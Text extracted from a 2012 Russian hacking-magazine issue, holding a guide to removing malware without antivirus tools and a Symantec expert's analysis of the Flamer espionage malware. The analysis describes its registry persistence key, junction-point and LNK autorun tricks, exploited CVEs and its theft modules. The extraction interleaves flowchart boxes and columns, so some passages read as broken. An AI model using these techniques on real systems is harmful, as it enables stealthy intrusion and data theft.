ФУНКЦИЯntdll.dll!LdrLoadDllkernel32.dll!LoadLibraryntdll.dll!EnumerateValueKeyntdll.dll!EnumerateKeyadvapi.dll!RegEnumKeyadvapi.dll!RegEnumKeyExadvapi.dll!RegEnumValuentdll.dll!OpenProcessntdll.dll!OpenThreadntdll.dll!NtQuerySysteminformationntdll.dll!RtlGetNativeSystemInformationkernel32.dll!Process32Nextkernel32.dll! CreateToolhelp32Snapshotntdll.dll!NtQueryDirectoryFilentdll.dll!NtCreateDirectoryObjectntdll.dll!NtOpenDirectoryObjectntdll.dll!QueryInformationFilentdll.dll!OpenFilentdll.dll!CreateFilekernel32.dll!FindNextFilekernel32.dll!CopyFilekernel32.dll!MoveFilekernel32.dll!DeleteFileФУНКЦИИ, ВЫПОЛНЯЕМЫЕПЕРЕХВАТЧИКОМОтслеживание загрузки библиотекМаскировка ключей и их значенийв реестре, блокировка измененийзначений ключей в реестреЗащита процессов и потоков от анализаи завершенияМаскировка процессовМаскировка файлов и каталогов,блокировка доступа к файлам,искажение информации о файлахAPI-функции, которые любят перехватывать вредоносные программы072ХАКЕР 08 /163/ 2012


На малварь без антивирусаСледуемна СТР. 76Определяем PIDи завершаем процесспо его номеру, напримеркомандой taskkill.Получилось?Ищем записи,принадлежащиемалвари, в областяхавтозагрузкиреестра. Есть?Следуемна СТР. 75Ищем косвенные признакиприсутствия вредоносногопроцесса (открытыехендлы, окна, мьютексыи другие системные объекты,принадлежащиенеопознанным процессам).Неопознанныесистемные объекты есть?Смотрим список процессовчем-нибудь болеепродвинутым, напримерутилитой ProcessHacker или KernelDetective. Видишь чтонибудьнеопознанное?Этой же утилитойпопытайся убитьвредоносный процесс.Получилось?Пытаемся завершитьвредоносный процессдругими способами.Удачно? (про другиеспособы в статье)Удаляем эти записи.Все удалилось?С помощью ProcessHacker или ProcessExplorer «замораживаем»вредоносныйпроцесс и опятьпытаемся удалитьлишние записи изавтозагрузки. Удалениеудалось?Диспетчер процессовдевственно чист, но этони о чем не говорит.Современная малварьдавно уже научиласьот него прятатьсяЛиквидируем последствия работымалвари. Удаляем файл, чистим веткиавтозагрузки реестра, восстанавливаемфайл hosts, восстанавливаемработу диспетчера задач, редакторареестра и т. д.ПерезагружаемкомпьютерСЛЕДУЕМНА СТР. 74Если в списке, полученном с помощью этой утилиты, мы увидим,например, explorer.exe, ведущий активный обмен с непонятнымадресом, то лучше либо закрыть это соединение, либо вовсе перезапуститьпроцесс.ОБЛАСТИ АВТОЗАГРУЗКИСуществует много разных способов сделать так, чтобы вредоносныйкод запускался вместе с системой. В подавляющем большинствевредоносов (вновь входящих в моду буткитов это не касается)Подозрительная сетевая активность процесса explorer.exeдля этого, тем или иным способом, используется реестр (про папку«Автозагрузка» упоминать не стоит, хотя, говорят, ее тоже иногдазадействуют).Все места в реестре и способы запуска вредоносного кода перечислятьмы не будем, их очень много, тем более что просмотретьих вручную — задача не из легких. Гораздо приятнее воспользоватьсякаким-нибудь менеджером автозагрузки. Самый лучшийобразец такого рода программ — это Autoruns от SisInternals (болееподробно об этой утилите смотри врезку).К сожалению, многие вредоносные программы защищеныот удаления их из областей автозагрузки в реестре. Обычно онипериодически проверяют наличие ключей в реестре и, если теудалены, создают их заново. Также может использоваться периодическоеудаление текущего ключа и создание нового, с другимименем. Для того чтобы этому противостоять, одного Autoruns’абудет недостаточно. На помощь может прийти Process Explorerили какой-нибудь другой менеджер процессов, который можетприостанавливать («замораживать») процесс и все его потоки.Порядок действий прост: приостанавливаем процесс (обычно этопункт меню «Suspend»), затем удаляем все лишнее из автозагрузки,перезагружаемся, и, если повезло, вредоносный код остаетсяне у дел.Более серьезную защиту областей автозагрузки с вредоноснымкодом дает перехват функций работы с реестром. В таком случаеХАКЕР 08 /163/ 2012 073


MALWAREПытаемся удалитьфайл обычным способом.Файл удален?Юзаем Unlocker иличто-нибудь подобноедля удаления файла.В крайнем случае пытаемсяудалить файлпри перезагрузкесистемы. Удачно?Загружаемся с загрузочногодиска (флешки) илицепляем хард к другомукомпьютеру и удаляемвредоносный файл.Идем по указанномупути.Файл на месте?Еще раз заглянив диспетчер процессов(колонка«Путь к образу»)или в реестр в веткиавтозагрузки. Тамвсе написано.Аттачимся к процессуexplorer.exe отладчиком(лучше WinDbg)и ищем перехватыфункций работы с файлами(см. соответствующийраздел статьи).Перехваты есть?Снимаем все перехваты,восстанавливаяоригинальныйкод функций.Смотрим перехватыфункций на уровнеядра. Перехватыесть?Путь к файлуизвестен?ПерезагружаемкомпьютерСейчас будем пытатьсяудалять вредоносныйфайл.Ликвидируем последствия работы малвари. Удаляем файл, чистим веткиавтозагрузки реестра, восстанавливаем файл hosts, восстанавливаемработу диспетчера задач, редактора реестра и т. д.появляется необходимость снимать эти перехваты и восстанавливатьоригинальный путь вызова API.ПЕРЕХВАТЫ ФУНКЦИЙДля маскировки своего присутствия в системе более или менеепродвинутая малварь может перехватывать некоторые APIфункции(про такие перехваты мы уже говорили, когда обсуждалискрытие процессов). Малварь может не только маскировать непосредственносвой процесс, но и скрывать местоположение файлаили какие-нибудь записи в реестре. Соответственно в первомслучае необходимо перехватывать функции для работы с файламии директориями, во втором — функции для работы с реестром.Наиболее популярные во вредоносных кругах для перехватафункции можешь посмотреть в таблице. Думаю, для тебя несекрет, что перехват функций может осуществляться в режимепользователя или в режиме ядра. Для перехвата в режиме ядраобычно используется драйвер, наличие которого в системе такжедемаскирует малварь. Для снятия перехватов необходимо либовосстановить оригинальный код функции, если перехват осуществлялсяизменением ее кода, либо восстановить таблицу системныхвызовов, что умеют делать многие утилиты, в частности, KernelDetective весьма неплохо справляется с этой задачей. Измененияв самих функциях нетрудно восстановить с помощью отладчика.Как правило, малварь меняет первые пять байт кода функции,вставляя туда безусловный переход. При этом стоит запомнить,что оригинальный код системных функций из ntdll.dll начинаетсяс загрузки в регистр EAX номера функции, а код функций из другихбиблиотек, как правило, начинается с пролога вида:MOV edi, ediPUSH ebpMOV ebp, esp.На диске есть видео, которое наглядно демонстрирует процессвосстановления функций для работы с реестром.ЗАКЛЮЧЕНИЕНапоследок стоит сказать: даже если, несмотря на все усилия, потраченныена поиск вредоносного кода на твоем компьютере, егопоиски не принесли результатов, не спеши обольщаться. Лучшеперезагрузись с линуксового LiveCD, заклей камеру изолентой,зашторь окна, надень шапочку из фольги и жди выхода следующегономера журнала «Хакер». К этому моменту антивирусные базыобновятся, и новый вирус наверняка будет ими детектирован :). z074ХАКЕР 08 /163/ 2012


На малварь без антивирусаСкорее всего, малварьмаскирует ключи автозагрузки,перехватываяAPI-функции работыс реестромЛиквидируем последствия работы малвари. Удаляем файл, чистимветки автозагрузки реестра, восстанавливаем файл hosts, восстанавливаемработу диспетчера задач, редактора реестра и т. д.Перезагружаем компьютерЗапускаем редакторреестра или, что лучше,что-нибудь типа Autorunsот SisInternals.Следуемна СТР. 74Берем отладчик (конечноже, лучше WinDbg) и аттачимсяк процессу запущенногоредактора реестраили чего другого, что тыиспользуешь для работыс автозагрузкой.Смотрим перехватыфункций на уровнеядра. Перехватыесть?С помощью ProcessHacker или ProcessExplorer «замораживаем»вредоносный процесси опять пытаемсяудалить лишние записииз автозагрузки. Удалениеудалось?Ищем функции изadvapi32.dll, ответственныеза работу с реестром,и проверяем их целостность.Изменения есть?Восстанавливаеморигинальный кодфункций.Ищем записи,принадлежащиемалвари, в областяхавтозагрузкиреестра. Есть?Удаляем этизаписи. Всеудалилось?МЕНЕДЖЕРЫ ПРОЦЕССОВСтандартный диспетчер процессов в Windows выдает минимуминформации, да и очень часто становится объектом атак со сторонымалвари.Для анализа компьютера на предмет вредоносного кода нужныдругие, более эффективные средства. Средств этих много —начиная от экзотического Task Manager’а, написанного на VBA Excelизвестным специалистом Дидье Стивенсом (в некоторых случаяхTask Manager может быть очень полезным), и заканчивая болеепродвинутыми утилитами вроде Process Explorer или Process Hacker.Как раз на двух последних стоит остановиться поподробнее.Process Explorer из уже известного нам набора системных утилитот Марка Руссиновича (однозначный мастхэв, между прочим).Утилита отображает подробную информацию о процессах и,кроме того, позволяет изменять приоритет и привязку процессак процессорам, приостанавливать («замораживать») выполнениепроцессов и всех его потоков (соответственно, затем продолжитьих выполнение) и выполнять завершение процесса или деревапроцессов.К сожалению, завершение процесса происходит штатнымспособом, предусмотренным в Windows, поэтому многиетруднозавершаемые процессы ей неподвластны. То же самое можносказать и про скрытые процессы. Утилита использует обычныйнабор API-функций для формирования списка процессов, поэтомускрытые с помощью перехвата API-процессы она обнаружитьне может.Среди достоинств стоит отметить наличие функций поискапроцесса по его окну, поиск библиотеки или хендла по имении возможность проверки цифровых подписей файлов.Process Hacker — более продвинутая тулза, которая умеет даватьинформацию о запущенных службах, показывать сетевую активностьприложений и мониторить обращения к диску. Самый главный плюс —это возможность завершить процесс аж семнадцатью различнымиспособами, при этом утилита способна заглушить процесс дажев самых тяжелых случаях (во время экспериментов она запросторасправлялась с процессами некоторых антивирусных продуктов,в том числе и запущенных как службы).ХАКЕР 08 /163/ 2012 075


MALWAREСкорее всего, малварьвнедрилась в какой нибудьсистемный процессЛиквидируем последствия работы малвари. Удаляемфайл, чистим ветки автозагрузки реестра, восстанавливаемфайл hosts, восстанавливаем работу диспетчеразадач, редактора реестра и т. д.Следуемна СТР. (3)Смотрим сетевую активностьпроцессов. Для этогосгодятся утилиты типаTcpView от SisInternals.Особое внимание напроцессы explorer.exe,winlogon.exe, svchost.exe.Есть обмен с непонятнымIP-адресом?Перезагружаемпроцесс. Сетеваяактивность пропала?ПерезагружаемкомпьютерПроцесс можно перезагрузить?(помни: процессытипа svchost.exewinlogon.exe, winint.exe,csrss.exe, lsass.exe перезагружатьне стоит)Ищем записи,принадлежащиемалвари, в областяхавтозагрузкиреестра.Есть?Удаляем записи.Все удалилось?Проверяем наличиеперехватов API-функцийработы с ключами реестра.Перехваты есть?Восстанавливаем оригинальныйкод функцийКонечно, можно предположить,что с твоим компом все в порядке. Номожет, лучше все-таки дождатьсяочередного обновления антивирусаи провериться?..УТИЛИТЫ УПРАВЛЕНИЯ АВТОЗАПУСКОМСначала — стандарт. Достаточно в командной строке набрать msconfig,и на вкладке «Автозагрузка» мы увидим все, что автоматически запускаетсяпо содержимому папки «Автозагрузка» и ключей в реестреHKCU\Software\Microsoft\Windows\CurrentVersion\Run и HKLM\Software\Microsoft\Windows\CurrentVersion\Run. К великому сожалению, это далеконе единственные места, откуда может быть дан старт вредоносному кодувместе с загрузкой системы, поэтому единственным достоинством этойутилиты является то, что она по умолчанию входит в состав Windows.Совсем другое дело — Autoruns из комплекта SisInternals Suit. Помнению многих представителей нашего общества, это лучшее, что былосоздано из утилит для управления автозапуском. Кроме версии с GUIинтерфейсом,имеется консольная версия анализатора, в лучших традицияхспецов старой школы. Утилита показывает множество различных методовавтозапуска, начиная от классических способов (ключи Run, RunOnce,папка «Автозагрузка») и заканчивая расширениями Internet Explorer’а(BHO, панели инструментов), причем свежие версии программы периодическидополняются умением распознавать новые способы автозагрузки(на данный момент актуальна версия 11.0).К сожалению, как иногда бывает, не обходится без ложки дегтя. Основнойнедостаток утилиты в том, что для анализа реестра в ней используютсястандартные API-функции, и в случае их перехвата и последующего искажениясодержимого ключей реестра вредоносным кодом Autoruns покажетискаженные данные. Для того чтобы этого избежать, можно, например,запустить Autoruns из-под WinDbg, снять с помощью отладчика перехватыфункций и после этого, нажав в отладчике F5, проанализировать реестрс помощью уже исправленных API-функций.076ХАКЕР 08 /163/ 2012


На малварь без антивирусаУТИЛИТЫ ДЛЯ ПОИСКА МАСКИРУЕМЫХ ОБЪЕКТОВ(ФАЙЛОВ, КЛЮЧЕЙ РЕЕСТРА, ПРОЦЕССОВ)RootkitRevealer — утилита из уже известного нам набора отSysInternals. Позволяет выполнять поиск маскируемых файлови ключей реестра. Ее работа основана на прямом чтениидиска (анализируются MFT — Master File Table NTFS-томаи структуры каталогов) и сравнении результатов с данными,полученными с помощью стандартных API-функций.Обнаруженные различия фиксируются.Аналогичная процедура проводится с реестром — утилитаснимает дамп содержимого реестра с помощью операцийпрямого чтения с диска и сравнивает результат с тем, чтоУНИВЕРСАЛЬНЫЕ УТИЛИТЫполучилось при использовании стандартных API-функций дляработы с реестром.Достоинство программы в том, что она распознает скрытыефайлы и ключи в реестре независимо от метода перехватаAPI-функций.Утилита BlackLight от компании F-Secure позволяетобнаруживать скрытые процессы и файлы путем анализасистемы на низком уровне.Основное достоинство программы в эффективном способепоиска скрытых процессов (так называемый брутфорс PID).DVD+ Все программы,упомянутыев статье, ищи надиске.+ Не забудьпосмотретьвидео, котороедемонстрируетснятие перехватовAPI-функций работыс реестром прииспользованииAutoruns.INFOЕсли вдруг ты самзахочешь написатьпродвинутую тулзудля завершенияпроцессов, тоищи 139-й номержурнала, тамАлександр Эккертлюбезно поделилсянесколькимиинтереснымиспособами грохнутьпроцесс.Помимо узконаправленных инструментов, хорошую службув деле борьбы с вредоносным кодом могут сослужить универсальныеутилиты, эдакие швейцарские ножи со множествомлезвий на все случаи жизни.В первую очередь стоит отметить полезнейший и популярныйв определенных кругах инструмент под названиемGMER. Он умеет находить и показывать скрытые процессы,завершать их, показывать все загруженные модули и сервисы,искать скрытые файлы и ключи реестра. Помимо этого утилитаможет вести мониторинг запускаемых приложений, загружаемыхдрайверов, библиотек, обращений к реестру и работыTCP/IP-соединений. Вся получаемая информация может бытьсохранена в лог-файлы для последующего анализа.Ну и конечно же, здесь не обойтись без упоминания широкоизвестной в определенных кругах программы под названиемAVZ. Эта антивирусная утилита снискала себе заслуженнуюпопулярность среди борцов с малварью, а ее вердикт в виделог-файла является своеобразным стандартом обмена информациейо результатах исследования системы между специалистамипо антивирусной защите.Вообще, данный противовирусный инструмент заслуживаетотдельной статьи, поэтому мы лишь кратко перечислим егоумения.GMER обнаружил маскирующийся файлAVZ в работе, найден скрытый процессИтак, утилита имеет следующие функции:• поиск известных вредоносных программ по обновляемойсигнатурной базе;• обновляемая база безопасных файлов;• система обнаружения руткитов;• восстановление системы;• эвристический анализ системы;• поиск клавиатурных шпионов;• анализатор Winsock SPI/LSP-настроек;• расширенный диспетчер процессов, сервисов и драйверов;• поиск файлов на диске;• поиск данных в реестре;• анализатор открытых TCP/UDP-портов;• расширенный диспетчер автозапуска;• анализ NTFS-потоков;• возможность разработки скриптов для проведения частоповторяемых операций по исследованию и восстановлениюсистемы.В общем, даже не швейцарский перочинный ножик, а целыйантивирусный комбайн.Итак, имея в кармане загрузочную флешку (о том, как еесделать, мы уже не раз писали) с какой-нибудь из этих двух утилит(а лучше — с обеими), можно уже выступать на тропу войныс малварью и при этом не чувствовать себя совсем безоружным.WARNINGПомни, чтофайловые вирусы(паразиты,присоединяющиесяк файлам, а тои шифрующие ихсодержимое) вовсене ушли в прошлое.Не забывай слатьподозрительныефайлыв антивирусныеконторы, не навредисебе самолечением!WWW• Если ты хочешьполучить болееподробнуюинформациюо каком-нибудьпроцессе, иди наwww.processlibrary.com.• На www.nobunkum.ru/ru/rootkitswindbgлежиткрайне интереснаястатья о примененииотладчика WinDbgдля обнаруженияруткитов и борьбыс ними от ДмитрияОлексюка из EsageLab.• На www.esetnod32.ru/.support/winlock,sms.kaspersky.ruи на www.drweb.com/xperf/unlockerготовы оказатьпосильную помощьв разблокировкесистемы.ХАКЕР 08 /163/ 2012 077


MALWAREАндрей Зеренков, эксперт по информационной безопасности SymantecFLAMER —САМАЯ СЛОЖНАЯВИРУСНАЯ УГРОЗАПОСЛЕДНЕГОВРЕМЕНИМахмуд,ПОДЖИГАЙ!W32.Flamer, она же sKyWIper,она же Flame, — каждыйпо-своему называет этусложнейшую разработку.На мой взгляд, болееадекватно отражает цель,преследуемую заказчиком,первое имя (не «скандалист»,а «поджигатель»). Так яи буду дальше его называть.Его? Нет, ее. Конечно, Flamerможно окрестить вирусомили червем, но для такоймасштабной разработки этокак-то мелковато. Пусть уж будетугроза, то есть — «она».так, маркетинговые баталии вперемешкус отрывочными техническимиИописаниями Flamer отгремели, и всестихло. Разумеется, создателям, а точнее,заказчикам Flamer это на руку — проще будетзапустить что-то новое. Но просто забыть о такойбеспрецедентной программной разработкебыло бы неправильно. Поэтому я хочу свестиосновные и наиболее интересные деталивоедино, чтобы позже не искать их на разныхресурсах.ПЕРВОИСТОЧНИКИ,ИЛИ КТО И КОГДА ОБНАРУЖИЛНачну с самого начала — с обнаружения. Существуеттри версии, а значит, и три претендентана первенство. Кто был первый, на мой взгляд,не принципиально, главное, что он есть, а такжеи второй, и третий. Значит, нашей с вамизащитой занимаются и можно чувствовать себяболее-менее спокойно.28 мая 2012 года MAHER — иранский национальныйцентр реагирования на чрезвычайныеситуации (Iran National CERT, www.certcc.ir/index.php?newlang=eng), занимавшийсяс 2010 года исследованием не менее известныхStuxnet и Duqu, сообщил об обнаружении новойугрозы — Flamer, которая не детектироваласьна то время ни одним из 43 антивирусныхпродуктов. В сообщении (bit.ly/LL9NTu) былприведен списком основной функционал, добавляемыйв реестр ключ и базовые компоненты— имена файлов с их расположениемв файловой системе.В этот же день, 28 мая, «ЛабораторияКасперского» заявила об обнаружении угрозыFlame в рамках исследования, проводившегосяпо заказу International Telecommunication Union(ITU), с ее кратким словесным описанием.Практически одновременно с этим, также28 мая 2012 года, Лаборатория криптографиии систем безопасности Будапештскогоуниверситета технологий и экономики(Laboratory of Cryptography and SystemSecurity, CrySyS Lab, www.crysys.hu), тесновзаимодействующая с компанией Symantec,078ХАКЕР 08 /163/ 2012


Махмуд, поджигай!опубликовала новость об обнаружении новойугрозы, названной sKyWIper (www.crysys.hu/skywiper-statement.html). Также был опубликовантехнический отчет (вер. 1.03), содержащий62 страницы ее описания (www.crysys.hu/skywiper/skywiper.pdf), включая состав модулей,даты создания, сопоставление с Duquи Stuxnet, взаимодействие ее компонентовмежду собой и с C&C-центром, поведениеи многое другое. Чуть позже там же появилосьпояснение, что sKyWIper — это то же самое,что и Flame («Лаборатория Касперского»)и Flamer (MAHER).На сайте компании Symantec информацияо появлении новой угрозы — Flamer (www.symantec.com/en/uk/security_response) былаопубликована 27.05.2012 в 19:00 (UTC).В дальнейшем компании «ЛабораторияКасперского» и Symantec продолжили публикациютехнических подробностей Flamer в своихблогах.Первоисточники указаны — каждый можетвоспользоваться любым из них (или всеми). А явыбрал тот, что мне ближе (не важно, по какимсоображениям).КРАТКОЕ ОПИСАНИЕFlamer — это сложная, я бы даже сказал —изощренная угроза, присутствующая в интернетекак минимум с 2010 года. Она наиболеераспространена в странах Ближнего Востокаи нацелена прежде всего на конкретныхиндивидуумов, а не на организации. Основнаяцель — кража разнообразных данных и самораспространениев определенной среде. Естьдостаточные основания полагать, что Flamerи Stuxnet — родственные продукты.Flamer — грамотно спроектированная угроза,включающая в себя большое количествокомпонентов, что могло быть выполнено лишьгруппой профессионалов высокой квалификациив рамках хорошо финансируемого и четкоуправляемого проекта. Она включает в себявеб-сервер, SQL базу данных и библиотекуреализации протокола SSH. И помимо всегоэтого она включает в себя Lua-интерпретатор,который позволяет злоумышленнику легкорасширять ее функциональность по мере необходимости.Заражению Flamer подвержены лишькомпьютеры под управлением семейства ОСMicrosoft Windows. Для распространения надругие компьютеры Flamer применяет целыйряд методов. Она может распространяться черезсетевые ресурсы общего доступа, используя дляэтого украденные учетные записи, и через сменныеносители информации, используя механизмавтозапуска autorun.inf. Она также эксплуатируетдве уязвимости — CVE-2010-2568, впервыепродемонстрированную Stuxnet, и CVE-2010-2729. Помимо этого, Flamer применяет атаку «человекпосередине» (a man-in-the-middle, MITM),направленную на службу обновления WindowsUpdate. Для ее осуществления злоумышленникипредварительно провели атаку, прибегнув к ранеенеизвестному конфликту обработки записейпо протоколу MD5, и использовали сертификат,Одновременно с запуском nteps32.ocxmssecmgr.ocx запускает основной сценарий Lua.Скрипт начинает работу с поиска обновленийдля приложений из базы приложений. (В программномкоде хранилище приложений имеетссылочное имя FLAME.) Он также имеет возможпозволившийподписать программный коди внести его в Microsoft Root Authority.ТЕХНИЧЕСКОЕ ОПИСАНИЕХРОНОЛОГИЯ И РАСПРОСТРАНЕНИЕ1 Flamer состоит из нескольких компонентов.Изучив отчеты и конфигурационный файлодного из основных, можно определить целиFlamer и установить частичную хронологию.Файлы компонентов:• advnetcfg.ocx,• ccalc32.sys,• mssecmgr.ocx ,• msglu32.ocx,• boot32drv.sys,• nteps32.ocx.Были обнаружены два варианта файлаadvnetcfg.ocx. Первый датирован сентябрем2010 года, второй появился в феврале 2011-го.Конфигурационный файл ccalc32.sys такжеимел два варианта, каждый из которых появилсяв то же время, что и файл advnetcfg.ocx.Количество заражений Flamer невелико,что лишь подчеркивает острую направленностьугрозы. Менее 150 заражений было выявленоглобально, большей частью на Ближнем Востоке— см. рис 1. Интересно, что в дополнениек определенным организациям было зараженомного домашних компьютеров, подключенныхк интернету.ПОДРОБНОЕ ОПИСАНИЕ2 Flamer — это сложная и хорошо спроектированнаяугроза, состоящая из платформы,включающей помимо прочего веб-сервер,сервер баз данных и среду защищенного удаленноговзаимодействия. Она изначально представляетсобой инсталляционный пакет размером6 мегабайт, разворачивающийся примернов 20 мегабайт кода и данных. Угроза также включаетв себя Lua-интерпретатор, позволяющийзлоумышленнику легко установить обновлениефункционала, используя различные сценариивыполнения (скрипты). Было выявлено 62 скрипта,обеспечивающих выполнение самых различныхдействий, включая возможность загрузкиновых модулей с C&C-сервера или обновлениясуществующих. Несколько компонентов созданытаким образом, что они на первый взгляд невыглядят вредоносными — ни по используемымданным, ни по строкам программного кода.Основной файл и первый элемент угрозыFlamer, запускаемый на зараженном компьютере,— это mssecmgr.ocx. Он содержит множествоподкомпонентов, состав и основное предназначениеглавных из них представлены на рис 3.Большинство подкомпонентов, включаяразличные скрипты, хранятся в зашифрованномресурсном контейнере, встроенном в mssecmgr.ocx. Этот ресурсный контейнер включаетв себя таблицу, которая при старте отображаетсписок точек входа и далее функционирует какиндексный указатель данных — некий аналогфайловой системы. Так же как и на скрипты,таблица размещения ресурсов содержитРис.1. География Флеймерассылки и на несколько самостоятельныхисполняемых DLL-файлов библиотек: advnetcfg.ocx, nteps32.ocx, boot32drv.sys, msglu32.ocx,soapr32.ocs, jimmy.dll, 00006411.dll и другие.За пределами ресурсного контейнера в файлеприсутствует код, обеспечивающий функционированиеHTTP-сервера, SOCKS-прокси,SSH, SQLite и, разумеется, Lua-интерпретатора.Lua — это легкий сценарный язык, которыйбыл создан специально для внедрения в приложения.Скрипты, написанные на нем, могутиспользовать функционал программы, в которуюони встроены. С помощью Lua злоумышленникуменьшает трудозатраты, необходимые для разработкинового функционала для Flamer.Когда mssecmgr.ocx запускается, он используетнесколько трюков, чтобы внедритьсебя в работающую систему.Во-первых, он распаковывает и запускаетadvnetcfg.ocx, который загружает и расшифровываетданные из файла ccalc32.sys. Файлccalc32.sys зашифрован алгоритмом RC4 со128-разрядным ключом. Затем создается файлccalc32.sys, которому задним числом устанавливаютсяметки времени, аналогичные системномуфайлу Windows kernel32.dll, с целью скрыть отпользователя появление нового файла. Файлadvnetcfg.ocx также отвечает за обработку команд,отправляемых другими компонентами.Затем файл mssecmgr.ocx передает nteps32.ocx в advnetcfg.ocx, который проводит инъекциюnteps32.ocx в чистый файл shell32.dll. При первойже (и единственной) загрузке он подменяет DLLбиблиотекув памяти на вредоносную, проводитинъекции в winlogon.exe или другие выбранныепроцессы — множественные блоки кода вставляютсяи вызываются по необходимости.Основной модуль регистрирует себя в реестреWindows следующим ключом, обеспечивающимего запуск при старте Windows:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\"AuthenticationPackages" = "mssecmgr.ocx"ХАКЕР 08 /163/ 2012 079


MALWAREность загрузить новое приложение в хранилище.После этого он создает несколько файлов базданных для хранения похищенных данных и запускаетна выполнение другие скрипты.Вот несколько примеров из них (набор скриптовверхнего уровня был поврежден, что даетнам с вами возможность пофантазировать зарамками представленного описания):• ATTACKOP — атака другого компьютера и перенесениена него используемых технологийи эксплойтов;• CASAFETY — проверка на наличие антивирусногопрограммного обеспечения;• CRUISE — кража учетных данных;• EUPHORIA — распространение через LNKуязвимостии точки подключения папок;• BEETLEJUICE — Bluetooth-обнаружение;• SUICIDE — удаление файлов Flamer из системы;• MUNCH — HTTP-сервер;• VIPER — бэкдор;• FLASK — кража локальной информации;• MICROBE — запись аудиофайлов со встроенногомикрофона;• GATOR — взаимодействие с C&C-сервером.Часть скриптов зависит от дополнительныхисполняемых файлов. Например, скриптATTACKOP может вызывать файл soapr32.ocx. Этотфайл похищает ряд сетевых данных с локальногокомпьютера и затем записывает их в файл,зашифрованный алгоритмом RC4. Также естьмодуль, который проверяет на наличие установленныхи запущенных продуктов обеспечениябезопасности. В зависимости от результатамодуль может адаптировать поведение угрозыс целью минимизации риска ее обнаружения.Файл mssecmgr.ocx также ссылается на файл~DEB93D.tmp, который ассоциирован с вирусомWiper, «отключившим» несколько нефтяныхтерминалов в Иране от интернета. Имя Wiper онполучил за счет встроенной функциональностистирания информации с жестких дисков. И этаатака вполне могла быть проведена при помощиодного из модулей Flamer.3ЗАРАЖЕНИЕИ САМОРАСПРОСТРАНЕНИЕНачальный векторВ настоящее время неизвестно, как именноугроза в первый раз попала на целевые компьютеры.Обычно при проведении целевых атакс помощью технологий социальной инженерииотправляется письмо, содержащее зараженноевложение или ссылку на веб-сайт с источникомзаражения. В данном случае это возможно, носкорее всего был использован другой сценарий.Учитывая способность Flamer распространятьсячерез зараженные USB-устройства, можнодопустить, что специально подготовленные(зараженные) устройства были физически доставленыв стратегические регионы.Сетевое распространениеFlamer имеет возможность самораспространенияс одного компьютера на другой по сети.Однако Flamer не распространяется автома-тически. Вместо этого она ждет инструкцийатакующего, после чего использует следующиесценарии:• через ресурсы общего доступа, используя похищенныеучетные данные, включая учетныезаписи администраторов домена;• через уязвимость Microsoft Windows PrintSpooler Service Remote Code ExecutionVulnerability (CVE-2010-2729), до этого использованнуюStuxnet;• через сменные носители информации, используяспециально подготовленный файл autorun.inf, до этого уже использованный Stuxnet;• через внешние диски — используя специальныйкаталог, в котором спрятаны файлы,и возможность их автозапуска при просмотреUSB-устройства, в сочетании с уязвимостьюMicrosoft Windows Shortcut 'LNK/PIF' FilesAutomatic File Execution Vulnerability (CVE-2010-2568), до этого использованную Stuxnet;• через запросы на обновления Windows Updateи атаку «человек посередине» (MITM).Почти все эти методы типичны и ранее моглибыть использованы другими вредоноснымипрограммами, за исключением двух последнихметодов, которые представляют собой нечтотакое, что еще не встречалось.Распространение через USBи точки подключенияТочки подключения — это возможностьWindows, позволяющая пользователю создаватьссылки на каталог. Например, если есть достаточнодлинный путь, такой как «C:\My\Very\Long\Directory\Path», то точку подключения к немуможно назвать «C:\MyJunction», что упрощаетего использование. Такая точка подключениясама по себе является папкой со специальнымиатрибутами. Flamer использует точки подключениядля того, чтобы спрятать в них файлы и обеспечитьих автозапуск. Для этого она создаетобычную папку на съемном диске, названия еемогут быть различными, например «My Docs».Внутрь этой папки Flamer помещает три файла:• себя самого, разумеется, напримерmssecmgr.ocx,• desktop.ini,• target.lnk.СБОР ИНФОРМАЦИИDesktop.ini — специальный конфигурационныйфайл Windows, позволяющий пользователюизменять свойства и поведение папки. Flamerдобавляет секцию ShellClassInfo в конфигурационныйфайл desktop.ini, объявляя его в качестветочки подключения. Обычно точка подключениялишь ссылается на другую папку — пользовательне может в качестве точки подключенияуказать исполняемый файл, так как вместо подключенияи открытия папки произойдет запускэтого файла.Flamer использует некоторые уловки дляизменения этого поведения. Три точки входа соспециально выбранными CLSID добавляютсяв секцию ShellClassInfo.Эти CLSID представляют папку «My Docs»как точку подключения, но вместо перенаправленияна другую папку подставляется ссылкана файл target.lnk, который должен быть внутриэтой же папки.Теперь, если пользователь попытаетсяоткрыть папку «My Docs», используя WindowsExplorer, этого не произойдет, а пользователь будетперенаправлен в папку, указанную в target.lnk. Это означает, что пользователь не увидитфайлы внутри «My Docs», то есть target.lnkи desktop.ini, но что более важно — он не увидити не получит доступа к Flamer (mssecmgr.ocx).Таким способом Flamer скрывает себя внутриточки подключения.Но это лишь полдела — скрытая от пользователяв точке подключения Flamer нуждаетсяв механизме автозапуска. Так как файл .lnkуже используется, Flamer (как ранее Stuxnet)эксплуатирует уязвимость Microsoft WindowsShortcut 'LNK/PIF' Files Automatic File ExecutionVulnerability (CVE-2010-2568). Для этого специальносоздается файл target.lnk, обеспечивающийавтозапуск Flamer и, соответственно,инфицирование компьютера. Как только удаленныйдиск подключается и начинает просматриваться,Windows автоматически обрабатываетточку подключения, запуская файл, указанныйв target.lnk (mssecmgr.ocx). Этот заключительныйшаг запускает Flamer и позволяет ей инфицироватькомпьютер.1. Когда подключается зараженный внешнийноситель, пользователь видит папку, но неможет в нее заглянуть.Flamer — это громадная, в прямом и переносном смысле, угроза хищения информации. Онанацелена на широкий спектр информации на зараженных компьютерах и выполняет свою задачулучше любого другого ранее выявленного аналога. Различные модули собирают информациюс различных источников; некоторые активируются, только если предварительно обнаруженаинформация, интересная злоумышленникам. Угроза способна извлекать метаданные из файлов,например, она может извлечь GPS-координаты из фотографий или имена авторов документов.Информация шифруется и сохраняется в локальной SQLight базе данных или в папке «%Temp%»для последующей обработки.Если обнаруживается программное обеспечение синхронизации мобильного телефонакомпаний Sony Ericsson или Nokia, Flamer также похищает соответствующие файлы данных.080ХАКЕР 08 /163/ 2012


